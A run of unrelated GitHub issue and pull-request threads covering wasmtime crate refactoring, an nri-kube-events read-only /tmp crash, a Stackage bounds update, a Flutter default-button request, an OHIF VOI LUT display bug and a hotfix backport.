Oh sure yeah! So right now I imagine that if you're building an AOT backend then our current organization is probably not what you want. In theory you'd have to separate components, one for compilation and one for consumption of the compiled artifacts. The compiler would depend on cranelift at some point but the execution component would depend on wasmtime-runtime and doesn't want cranelift as a dependency. I'm hoping to refactor wasmtime internally to enable this use case.
The general idea is that you should be able to statically split the wasmtime world where the runtime half doesn't depend on the compiler half. Currently the "runtime half" is the wasmtime-runtime crate which depends on wasmtime-environ (for shared data structures), but wasmtime-environ unconditionally depends on codegen backends, making it unsuitable for this purpose.
I don't mean to conflate JIT/codegen/etc, and if you'd prefer I can extract all the codegen bits to something like a wasmtime-codegen crate or something like that.

Yeah, splitting pieces of wasmtime-environ into separate crates sounds good to me. The "environ" in the name is meant to relate to the FuncEnvironment and ModuleEnvironment trait implementations that it contains, so if those move to a different crate, wasmtime-environ could benefit from a new name.

I'm mostly just assuming the original intention for these crates, so I'm likely also misinterpreting things. Today though I think we still need to change something (wasmtime-runtime shouldn't transitively depend on cranelift/lightbeam). It sounds like you'd like to keep the code in wasmtime-environ separate from wasmtime-jit, so we'll need to split wasmtime-environ. The wasmtime-runtime crate would depend on the new crate that doesn't depend on cranelift.
Does that sound right? Would you prefer that wasmtime-environ keep its name and a new crate is split out like wasmtime-types or wasmtime-core or something like that?

I think I'll try to tackle this later.


[nri-kube-events] attempting to write warnings to RO filesystem

nri-kube-events's kube-events container keeps crashing every few minutes as a watch warning causes the service to try to write to /tmp, which is a readonly filesystem. I am not sure if this is necessarily a bug in kube-events or the container should just be updated to allow it to write to a tmpfs like the side-car infra-agent container already can.
Version of Helm and Kubernetes
$ kubectl version
...
Server Version: version.Info{Major:"1", Minor:"17", GitVersion:"v1.17.4", GitCommit:"8d8aa39598534325ad77120c120a22b3a990b5ea", GitTreeState:"clean", BuildDate:"2020-03-12T20:55:23Z", GoVersion:"go1.13.8", Compiler:"gc", Platform:"linux/amd64"}
$ helm version
version.BuildInfo{Version:"v3.2.3", GitCommit:"8f832046e258e2cb800894579b1b3b50c2d83492", GitTreeState:"clean", GoVersion:"go1.13.12"}

Which chart?
nri-kube-events / kube-events
What happened?
When any of the watchers emit a warning, it attempts to log it to /tmp. This is a read-only filesystem which causes the container to crash and restart.
W0623 14:41:44.507228       1 reflector.go:302] pkg/mod/k8s.io/client-go@v0.0.0-20190620085101-78d2af792bab/tools/cache/reflector.go:98: watch of *v1.Event ended with: The resourceVersion for the provided watch is too old.
log: exiting because of error: log: cannot create log: open /tmp/nri-kube-events.newrelic-events-nri-kube-events-c6bfbd6ff-6bm5s.nri-kube-events.log.WARNING.20200623-144144.1: read-only file system

What you expected to happen?
kube-events warnings shouldn't cause the container to restart. This should either be made into a writable directory or kube-events should only send warnings to stdout.
How to reproduce it?
This is just a generic Rancher deployed K8s cluster on v1.17.4

I hit the same issue, it's weird as /tmp is mounted and 'emptydir' and 'readonly' flag is not set, meaning 'readonly' is false by default.


Add back stackage-curator (store-0.3.1 fixes memory issues)

vector-<IP_ADDRESS> is out of bounds for:

[ ] cassava-<IP_ADDRESS> (< 0.12). No maintainer. @hvr. Used by: library, test-suite

Updated.
On Fri, Feb 17, 2017 at 4:28 AM, Jens Petersen<EMAIL_ADDRESS>wrote:

vector-<IP_ADDRESS> is out of bounds for:

cassava-<IP_ADDRESS> (< 0.12). No maintainer. @hvr
https://github.com/hvr. Used by: library, test-suite

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/fpco/stackage/pull/2304#issuecomment-280531277, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AADBB1j247PIdk0wVL4TP60QGnSpL5PLks5rdQXZgaJpZM4MCpX_
.

Thank you!


Flowers-Classifcation

Pull Request for DL-Simplified 💡
Issue Title :

Info about the related issue (Aim of the project) :
Name: Sanjeevi Kumar V
GitHub ID: sanjeevidev
Email ID<EMAIL_ADDRESS>
Closes: #issue number that will be closed through this PR
Describe the add-ons or changes you've made 📃
Give a clear description of what have you added or modifications made
Type of change ☑
What sort of change have you made:

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Code style update (formatting, local variables)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

How Has This Been Tested? ⚙
Describe how it has been tested
Describe how have you verified the changes made
Checklist: ☑

[ ] My code follows the guidelines of this project.
[ ] I have performed a self-review of my own code.
[ ] I have commented my code, particularly wherever it was hard to understand.
[ ] I have made corresponding changes to the documentation.
[ ] My changes generate no new warnings.
[ ] I have added things that prove my fix is effective or that my feature works.
[ ] Any dependent changes have been merged and published in downstream modules.

Comment out in the issues there to get assigned a particular issue. This is not the correct way you should contribute to any open source projects.


Default button for forms (Standard in windows)

Hello,
In desktop and web there is the "default button", that is, in a form, having the focus any of the edit fields of the form, pressing the ENTER key on the keyboard executes the default button of the form.
In windows, for example, buttons have a "default" property that indicates which is the default button.
This functionality is required in Flutter.
Thanks.
Regards,
jose

@Josua2012
Can you give us an example of the default button in windows desktop and web, so as to properly address this issue ?

https://www.computerhope.com/jargon/d/defaultb.htm
https://stackoverflow.com/questions/4280221/default-button-property-in-winform-app/4280238
https://www.google.com/search?q=windows+default+button&client=firefox-b-d&sxsrf=ALeKk02KcL5C3WwdTnBokaTfutjPasjVRA:1623687671371&tbm=isch&source=iu&ictx=1&fir=feIqBaoi6l8WmM%252CBjaEwWhL890YYM%252C_&vet=1&usg=AI4_-kT5MQ5CryxAT2331A2KLLj_eT7r7A&sa=X&ved=2ahUKEwjB6oL3w5fxAhUEHxoKHY-CCwgQ9QF6BAghEAE#imgrc=feIqBaoi6l8WmM
http://dotnetdud.blogspot.com/2009/01/how-to-set-default-button-in-windows.html
https://www.autohotkey.com/boards/viewtopic.php?t=23905
As you will see, it is the standard behavior of windows forms.
Any windows programmer knows the standard operation of the buttons by default.
Regards,
Jose

/cc @mdebbar I vaguely recall us discussing this, but I don't remember what we decided, if we decided anything.


Problem displaying studies with VOI LUT

Before Creating an issue

Are you running the latest version?yes
Are you reporting to the correct repository? yes
Did you search existing issues? Yes I post a question here butno shure if they are related.

Bug Report
Describe the Bug
XA Modality Studies with VOI LUT attibutes loads all in blank.
Here  is a series anonymized.
I have tryied the dataset in cornerstone library examples available in rawgit.com, and it loads correctly.
What steps can we follow to reproduce the bug?

Load Dataset on a PACS
configure OHIF to retrieve against PACS
Load Study

:warning: Reports we cannot reproduce are at risk of being marked stale and
closed. The more information you can provide, the more likely we are to look
into and address your issue.

Please review the latest code in the master branch. I am confident that this issue has been resolved. If it persists, kindly reopen the issue with updated details.
Try viewer-dev.ohif.org instead of viewer.ohif.org
Our viewer.ohif.org is deployed from release branch while viewer-dev.ohif.org is our master  branch
Read more about branch explanations here https://docs.ohif.org/development/getting-started#developing

Hello @sedghi  I have tested in v3.7.0, last stable version and it does not display studies correctly:


Backport master hotfixes to develop

I can't imagine why one would need this but not the other? Forgive me if there is a reason.

We seem to keep on merging PRs straight to develop :D